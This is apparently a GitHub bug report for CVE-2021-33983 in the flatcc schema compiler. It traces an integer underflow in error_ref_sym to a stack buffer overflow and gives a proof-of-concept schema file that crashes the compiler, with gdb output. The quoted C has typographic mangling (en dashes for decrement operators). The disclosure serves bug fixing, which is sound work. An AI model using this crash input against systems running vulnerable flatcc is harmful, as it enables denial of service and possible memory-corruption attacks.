CVE-2021-33983: found a integer overflow leads to stack_overflow · Issue #188 · dvidelabs/flatcc

in parser.c
k seems like the size of the rest of buffer on stack(var ‘buf’ which type is char[]).
n is memcpy size as 3rd para.
while condition k>0 to keep buffer is not full.
if enter in if(k<n) branch n=k,var n is assigned the value of k
then k -=n ,var k is assigned the value 0
then --k, var k is assigned the value 0xffffffffffffffff while var k’s type is size_t.
so the while conditionk > 0 not make sense.
next memcpy will lead to stack overflow

void error_ref_sym(fb_parser_t *P, fb_ref_t *ref, const char *msg, fb_symbol_t *s2) { fb_ref_t *p; char buf[FLATCC_MAX_IDENT_SHOW + 1]; size_t k = FLATCC_MAX_IDENT_SHOW; size_t n = 0; size_t n0 = 0; p = ref; while (p && k > 0) { n = (size_t)p->ident->len; if (k < n) { n = k; } memcpy(buf + n0, p->ident->text, n); k -= n; n0 += n; buf[n0] = '.’; –k; //overflow here when k = 0 ++n0; p = p->link; } buf[n0] = '\0’; if (n0 > 0) { –n0; } if (k <= 0) { memcpy(buf + FLATCC_MAX_IDENT_SHOW + 1 - 4, "…\0", 4); n0 = FLATCC_MAX_IDENT_SHOW; } error_report(P, ref->ident, msg, s2 ? s2->ident : 0, buf, n0); }

poc:

➜  fuzz_test cat test9
struct tsj{
        damage:shortllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllve.tlllllllllllllllllllllllllllllllllllllll;
}
➜  fuzz_test ../flatcc/bin/flatcc test9
test9:2:9: error: 'shortlllllllllllllllllllllllllllllllllllllllllllll.tlllllllllllllllllllllllllllllllllllllll': unknown type reference used with struct field: test9:2:2: 'damage'
*** stack smashing detected ***: terminated
[1]    3685 abort (core dumped)  ../flatcc/bin/flatcc test9
➜  fuzz_test


➜  fuzz_test gdb ../flatcc/bin/flatcc
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Reading symbols from ../flatcc/bin/flatcc...
pwndbg> set args test9
pwndbg> r
Starting program: /mnt/c/Users/tsj/Desktop/flatcc/bin/flatcc test9
test9:2:9: error: 'shortlllllllllllllllllllllllllllllllllllllllllllll.tlllllllllllllllllllllllllllllllllllllll': unknown type reference used with struct field: test9:2:2: 'damage'
*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7fffff7e13c0 ◂— 0x7fffff7e13c0
 RCX  0x8
 RDX  0x0
 RDI  0x2
 RSI  0x7ffffffed990 ◂— 0x0
 R8   0x0
 R9   0x7ffffffed990 ◂— 0x0
 R10  0x8
 R11  0x8
 R12  0x7ffffffedc10 ◂— 0x642ccf000a276567 /* "ge'\n" */
 R13  0x20
 R14  0x7fffff510000 ◂— 0x202a2a2a00001000
 R15  0x1
 RBP  0x7ffffffedd10 —▸ 0x7fffff76a07c ◂— '*** %s ***: terminated\n'
 RSP  0x7ffffffed990 ◂— 0x0
 RIP  0x7fffff5f618b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
 ► 0x7fffff5f618b <raise+203>    mov    rax, qword ptr [rsp + 0x108]
   0x7fffff5f6193 <raise+211>    xor    rax, qword ptr fs:[0x28]
   0x7fffff5f619c <raise+220>    jne    raise+260 <raise+260>
    ↓
   0x7fffff5f61c4 <raise+260>    call   __stack_chk_fail <__stack_chk_fail>

   0x7fffff5f61c9                nop    dword ptr [rax]
   0x7fffff5f61d0 <killpg>       endbr64
   0x7fffff5f61d4 <killpg+4>     test   edi, edi
   0x7fffff5f61d6 <killpg+6>     js     killpg+16 <killpg+16>

   0x7fffff5f61d8 <killpg+8>     neg    edi
   0x7fffff5f61da <killpg+10>    jmp    kill <kill>

   0x7fffff5f61df <killpg+15>    nop
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7ffffffed990 ◂— 0x0
01:0008│            0x7ffffffed998 —▸ 0x7ffffffedb48 ◂— 0x3000000030 /* '0' */
02:0010│            0x7ffffffed9a0 —▸ 0x7ffffffedb60 ◂— "test9:2:9: error: 'shortlllllllllllllllllllllllllllllllllllllllllllll.tlllllllllllllllllllllllllllllllll"
03:0018│            0x7ffffffed9a8 —▸ 0x7fffff63f11a (__vsnprintf_internal+170) ◂— mov    r9, qword ptr [rsp + 8]
04:0020│            0x7ffffffed9b0 ◂— 0x3
05:0028│            0x7ffffffed9b8 —▸ 0x7ffffffedab0 ◂— 0x20 /* ' ' */
06:0030│            0x7ffffffed9c0 ◂— 0xfbad8001
07:0038│            0x7ffffffed9c8 —▸ 0x7ffffffedb60 ◂— "test9:2:9: error: 'shortlllllllllllllllllllllllllllllllllllllllllllll.tlllllllllllllllllllllllllllllllll"
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x7fffff5f618b raise+203
   f 1   0x7fffff5d5859 abort+299
   f 2   0x7fffff6403ee __libc_message+670
   f 3   0x7fffff6e2b4a __fortify_fail+42
   f 4   0x7fffff6e2b16
   f 5        0x8073af9
   f 6        0x80976b9 __flatcc_fb_build_schema+21961
   f 7        0x80976b9 __flatcc_fb_build_schema+21961
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
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